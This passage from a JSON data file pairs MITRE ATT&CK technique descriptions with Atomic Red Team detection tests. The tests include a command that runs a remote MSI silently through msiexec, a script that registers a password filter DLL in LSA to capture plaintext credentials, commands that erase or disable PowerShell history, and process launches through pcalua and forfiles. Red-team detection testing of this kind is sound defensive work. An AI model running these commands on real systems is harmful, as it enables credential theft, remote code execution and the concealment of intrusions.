- {
- "description": "The MSI file must exist on disk at specified location (#{msi_payload})\n",
- "prereq_command": "if (Test-Path #{msi_payload}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{msi_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi\" -OutFile \"#{msi_payload}\"\n"
- }
- ],
- "executor": {
- "command": "Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }\n",
- "name": "powershell"
- }
- },
- {
- "name": "WMI Win32_Product Class - Execute Local MSI file with embedded VBScript",
- "auto_generated_guid": "cf470d9a-58e7-43e5-b0d2-805dffc05576",
- "description": "Executes an MSI containing embedded VBScript code using the WMI Win32_Product class\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "msi_payload": {
- "description": "MSI file to execute",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_VBScript.msi"
- },
- "action": {
- "description": "Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types.\n",
- "type": "string",
- "default": "Install"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "The MSI file must exist on disk at specified location (#{msi_payload})\n",
- "prereq_command": "if (Test-Path #{msi_payload}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{msi_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_VBScript.msi\" -OutFile \"#{msi_payload}\"\n"
- }
- ],
- "executor": {
- "command": "Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }\n",
- "name": "powershell"
- }
- },
- {
- "name": "WMI Win32_Product Class - Execute Local MSI file with an embedded DLL",
- "auto_generated_guid": "32eb3861-30da-4993-897a-42737152f5f8",
- "description": "Executes an MSI containing an embedded DLL using the WMI Win32_Product class\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "msi_payload": {
- "description": "MSI file to execute",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_DLL.msi"
- },
- "action": {
- "description": "Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types.\n",
- "type": "string",
- "default": "Install"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "The MSI file must exist on disk at specified location (#{msi_payload})\n",
- "prereq_command": "if (Test-Path #{msi_payload}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{msi_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_DLL.msi\" -OutFile \"#{msi_payload}\"\n"
- }
- ],
- "executor": {
- "command": "Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }\n",
- "name": "powershell"
- }
- },
- {
- "name": "WMI Win32_Product Class - Execute Local MSI file with an embedded EXE",
- "auto_generated_guid": "55080eb0-49ae-4f55-a440-4167b7974f79",
- "description": "Executes an MSI containing an embedded EXE using the WMI Win32_Product class\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "msi_payload": {
- "description": "MSI file to execute",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_EXE.msi"
- },
- "action": {
- "description": "Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types.\n",
- "type": "string",
- "default": "Install"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "The MSI file must exist on disk at specified location (#{msi_payload})\n",
- "prereq_command": "if (Test-Path #{msi_payload}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{msi_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_EXE.msi\" -OutFile \"#{msi_payload}\"\n"
- }
- ],
- "executor": {
- "command": "Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }\n",
- "name": "powershell"
- }
- },
- {
- "name": "Msiexec.exe - Execute the DllRegisterServer function of a DLL",
- "auto_generated_guid": "0106ffa5-fab6-4c7d-82e3-e6b8867d5e5d",
- "description": "Loads a DLL into msiexec.exe and calls its DllRegisterServer function. Note: the DLL included in the \"bin\" folder is only built for 64-bit, so this won't work on a 32-bit OS.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "dll_payload": {
- "description": "DLL to execute that has an implemented DllRegisterServer function",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.007\\bin\\MSIRunner.dll"
- },
- "msi_exe": {
- "description": "MSIExec File Path",
- "type": "path",
- "default": "c:\\windows\\system32\\msiexec.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "The DLL must exist on disk at specified location (#{dll_payload})\n",
- "prereq_command": "if (Test-Path #{dll_payload}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/MSIRunner.dll -OutFile \"#{dll_payload}\"\n"
- }
- ],
- "executor": {
- "command": "#{msi_exe} /y \"#{dll_payload}\"\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Msiexec.exe - Execute the DllUnregisterServer function of a DLL",
- "auto_generated_guid": "ab09ec85-4955-4f9c-b8e0-6851baf4d47f",
- "description": "Loads a DLL into msiexec.exe and calls its DllUnregisterServer function. Note: the DLL included in the \"bin\" folder is only built for 64-bit, so this won't work on a 32-bit OS.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "dll_payload": {
- "description": "DLL to execute that has an implemented DllUnregisterServer function",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.007\\bin\\MSIRunner.dll"
- },
- "msi_exe": {
- "description": "MSIExec File Path",
- "type": "path",
- "default": "c:\\windows\\system32\\msiexec.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "The DLL must exist on disk at specified location (#{dll_payload})\n",
- "prereq_command": "if (Test-Path #{dll_payload}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/MSIRunner.dll -OutFile \"#{dll_payload}\"\n"
- }
- ],
- "executor": {
- "command": "#{msi_exe} /z \"#{dll_payload}\"\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Msiexec.exe - Execute Remote MSI file",
- "auto_generated_guid": "44a4bedf-ffe3-452e-bee4-6925ab125662",
- "description": "Execute arbitrary MSI file retrieved remotely. Less commonly seen in application installation, commonly seen in malware execution. The MSI executes a built-in JScript payload that launches powershell.exe.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "msi_payload": {
- "description": "MSI file to execute",
- "type": "string",
- "default": "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi"
- },
- "msi_exe": {
- "description": "MSIExec File Path",
- "type": "path",
- "default": "c:\\windows\\system32\\msiexec.exe"
- }
- },
- "executor": {
- "command": "#{msi_exe} /q /i \"#{msi_payload}\"\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1556.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Vincent Le Toux"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42",
- "type": "attack-pattern",
- "created": "2020-02-11T19:05:45.829Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1556.002",
- "url": "https://attack.mitre.org/techniques/T1556/002"
- },
- {
- "url": "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html",
- "description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.",
- "source_name": "Carnal Ownage Password Filters Sept 2013"
- },
- {
- "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/",
- "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.",
- "source_name": "Clymb3r Function Hook Passwords Sept 2013"
- }
- ],
- "modified": "2021-04-20T20:11:55.147Z",
- "name": "Modify Authentication Process: Password Filter DLL",
- "description": "Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages
) and correlate then investigate the DLL files these files reference.\n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Module: Module Load",
- "Windows Registry: Windows Registry Key Modification",
- "File: File Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "identifier": "T1556.002"
- },
- "atomic_tests": [
- {
- "name": "Install and Register Password Filter DLL",
- "auto_generated_guid": "a7961770-beb5-4134-9674-83d7e1fa865c",
- "description": "Uses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges.\nThe binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection\nSource is in src folder. \nThis does require a reboot to see the filter loaded into lsass.exe. \nIt does require Administrative privileges to import the clean registry values back into LSA, it is possible you may have to manually do this after for cleanup.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "dll_path": {
- "description": "Path to DLL to be installed and registered",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1556.002\\bin"
- },
- "dll_name": {
- "description": "Name of the Password Filter",
- "type": "string",
- "default": "AtomicRedTeamPWFilter.dll"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "AtomicRedTeamPWFilter.dll must exist on disk at specified location (#{dll_path}\\#{dll_name})\n",
- "prereq_command": "if (Test-Path #{dll_path}\\#{dll_name}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://github.com/redcanaryco/atomicredteam/atomics/T1556.002/bin/AtomicRedTeamPWFilter.dll\" -OutFile \"#{dll_path}\\#{dll_name}\"\n"
- }
- ],
- "executor": {
- "command": "reg.exe export HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ PathToAtomicsFolder\\T1556.002\\lsa_backup.reg\n$passwordFilterName = (Copy-Item \"#{dll_path}\\#{dll_name}\" -Destination \"C:\\Windows\\System32\" -PassThru).basename\n$lsaKey = Get-Item \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\"\n$notificationPackagesValues = $lsaKey.GetValue(\"Notification Packages\")\n$notificationPackagesValues += $passwordFilterName\nSet-ItemProperty \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\" \"Notification Packages\" $notificationPackagesValues\n",
- "cleanup_command": "reg.exe import PathToAtomicsFolder\\T1556.002\\lsa_backup.reg\nremove-item C:\\Windows\\System32\\#{dll_name}\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1600.001": {
- "technique": {
- "x_mitre_platforms": [
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--3a40f208-a9c1-4efa-a598-4003c3681fb8",
- "type": "attack-pattern",
- "created": "2020-10-19T19:03:48.310Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1600.001",
- "url": "https://attack.mitre.org/techniques/T1600/001"
- },
- {
- "source_name": "Cisco Synful Knock Evolution",
- "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices",
- "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."
- },
- {
- "source_name": "Cisco Blog Legacy Device Attacks",
- "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
- "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
- }
- ],
- "modified": "2020-10-21T22:36:22.369Z",
- "name": "Reduce Key Space",
- "description": "Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)\n\nAdversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.\n\nAdversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "There is no documented method for defenders to directly identify behaviors that reduce encryption key space. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1070.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Vikas Singh, Sophos",
- "Emile Kenning, Sophos",
- "Austin Clark, @c2defense"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a",
- "created": "2020-01-31T12:32:08.228Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1070.003",
- "url": "https://attack.mitre.org/techniques/T1070/003"
- },
- {
- "source_name": "Sophos PowerShell command audit",
- "url": "https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit",
- "description": "jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020."
- },
- {
- "source_name": "Microsoft PowerShell Command History",
- "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7",
- "description": "Microsoft. (2020, May 13). About History. Retrieved September 4, 2020."
- },
- {
- "source_name": "US-CERT-TA18-106A",
- "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A",
- "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."
- },
- {
- "source_name": "Sophos PowerShell Command History Forensics",
- "url": "https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics",
- "description": "Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE
. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history
. The benefit of this is that it allows users to go back to commands they've used before in different sessions.\n\nAdversaries may delete their commands from these logs by manually clearing the history (history -c
) or deleting the bash history file rm ~/.bash_history
. \n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data.(Citation: US-CERT-TA18-106A)\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the PSReadLine
module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe PSReadLine
command history tracks the commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt
by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)\n\nAdversaries may run the PowerShell command Clear-History
to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt
file. Adversaries may also delete the ConsoleHost_history.txt
file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)",
- "modified": "2022-04-20T18:11:16.889Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Indicator Removal on Host: Clear Command History",
- "x_mitre_detection": "User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history
is suspicious. Additionally, the removal/clearing of the ~/.bash_history
file can be an indicator of suspicious activity.\n\nMonitor for suspicious modifications or deletion of ConsoleHost_history.txt
and use of the Clear-History
command.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "File: File Deletion",
- "File: File Modification",
- "User Account: User Account Authentication"
- ],
- "x_mitre_defense_bypassed": [
- "Host forensic analysis",
- "Log analysis"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1070.003"
- },
- "atomic_tests": [
- {
- "name": "Prevent Powershell History Logging",
- "auto_generated_guid": "2f898b81-3e97-4abb-bc3f-a95138988370",
- "description": "Prevents Powershell history\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Set-PSReadlineOption -HistorySaveStyle SaveNothing\n",
- "name": "powershell",
- "cleanup_command": "Set-PSReadLineOption -HistorySaveStyle SaveIncrementally"
- }
- },
- {
- "name": "Clear Powershell History by Deleting History File",
- "auto_generated_guid": "da75ae8d-26d6-4483-b0fe-700e4df4f037",
- "description": "Clears Powershell history\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Remove-Item (Get-PSReadlineOption).HistorySavePath\n",
- "name": "powershell"
- }
- },
- {
- "name": "Set Custom AddToHistoryHandler to Avoid History File Logging",
- "auto_generated_guid": "1d0d9aa6-6111-4f89-927b-53e8afae7f94",
- "description": "The \"AddToHistoryHandler\" receives the current command as the $line variable and then returns $true if \nthe line should be written to the history file. Here we simply return $false so nothing gets added to \nthe history file for the current session. \n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Set-PSReadLineOption -AddToHistoryHandler { return $false }\n",
- "cleanup_command": "Set-PSReadLineOption -AddToHistoryHandler $null\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1202": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Matthew Demaske, Adaptforward"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e",
- "created": "2018-04-18T17:59:24.739Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1202",
- "url": "https://attack.mitre.org/techniques/T1202"
- },
- {
- "source_name": "Evi1cg Forfiles Nov 2017",
- "url": "https://twitter.com/Evi1cg/status/935027922397573120",
- "description": "Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved January 22, 2018."
- },
- {
- "source_name": "RSA Forfiles Aug 2017",
- "url": "https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe",
- "description": "Partington, E. (2017, August 14). Are you looking out for forfiles.exe (if you are watching for cmd.exe). Retrieved January 22, 2018."
- },
- {
- "source_name": "VectorSec ForFiles Aug 2017",
- "url": "https://twitter.com/vector_sec/status/896049052642533376",
- "description": "vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved January 22, 2018."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)\n\nAdversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.",
- "modified": "2022-05-05T05:06:38.938Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Indirect Command Execution",
- "x_mitre_detection": "Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Static File Analysis",
- "Application Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1202"
- },
- "atomic_tests": [
- {
- "name": "Indirect Command Execution - pcalua.exe",
- "auto_generated_guid": "cecfea7a-5f03-4cdd-8bc8-6f7c22862440",
- "description": "The Program Compatibility Assistant (pcalua.exe) may invoke the execution of programs and commands from a Command-Line Interface.\n[Reference](https://twitter.com/KyleHanslovan/status/912659279806640128)\nUpon execution, calc.exe should open\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "payload_path": {
- "description": "Path to payload",
- "type": "path",
- "default": "C:\\Windows\\System32\\calc.exe"
- },
- "process": {
- "description": "Process to execute",
- "type": "string",
- "default": "calc.exe"
- }
- },
- "executor": {
- "command": "pcalua.exe -a #{process}\npcalua.exe -a #{payload_path}\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Indirect Command Execution - forfiles.exe",
- "auto_generated_guid": "8b34a448-40d9-4fc3-a8c8-4bb286faf7dc",
- "description": "forfiles.exe may invoke the execution of programs and commands from a Command-Line Interface.\n[Reference](https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Forfiles.yml)\n\"This is basically saying for each occurrence of notepad.exe in c:\\windows\\system32 run calc.exe\"\nUpon execution calc.exe will be opened.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "process": {
- "description": "Process to execute",
- "type": "string",
- "default": "calc.exe"
- }
- },
- "executor": {
- "command": "forfiles /p c:\\windows\\system32 /m notepad.exe /c #{process}\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Indirect Command Execution - conhost.exe",
- "auto_generated_guid": "cf3391e0-b482-4b02-87fc-ca8362269b29",
- "description": "conhost.exe refers to a host process for the console window. It provide an interface between command prompt and Windows explorer.\nExecuting it through command line can create process ancestry anomalies\n[Reference] (http://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "process": {
- "description": "Process to execute",
- "type": "string",
- "default": "notepad.exe"
- }
- },
- "executor": {
- "command": "conhost.exe \"#{process}\"\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1536": {
- "technique": {
- "x_mitre_platforms": [
- "IaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Netskope"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--3b4121aa-fc8b-40c8-ac4f-afcb5838b72c",
- "type": "attack-pattern",
- "created": "2019-09-04T14:37:07.959Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "external_id": "T1536",
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1536"
- },
- {
- "source_name": "Tech Republic - Restore AWS Snapshots",
- "url": "https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/",
- "description": "Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019."
- },
- {
- "source_name": "Google - Restore Cloud Snapshot",
- "url": "https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots",
- "description": "Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019."
- }
- ],
- "modified": "2021-03-08T10:33:01.527Z",
- "name": "Revert Cloud Instance",
- "description": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1140": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Matthew Demaske, Adaptforward",
- "Red Canary"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
- "created": "2017-12-14T16:46:06.044Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1140",
- "url": "https://attack.mitre.org/techniques/T1140"
- },
- {
- "source_name": "Volexity PowerDuke November 2016",
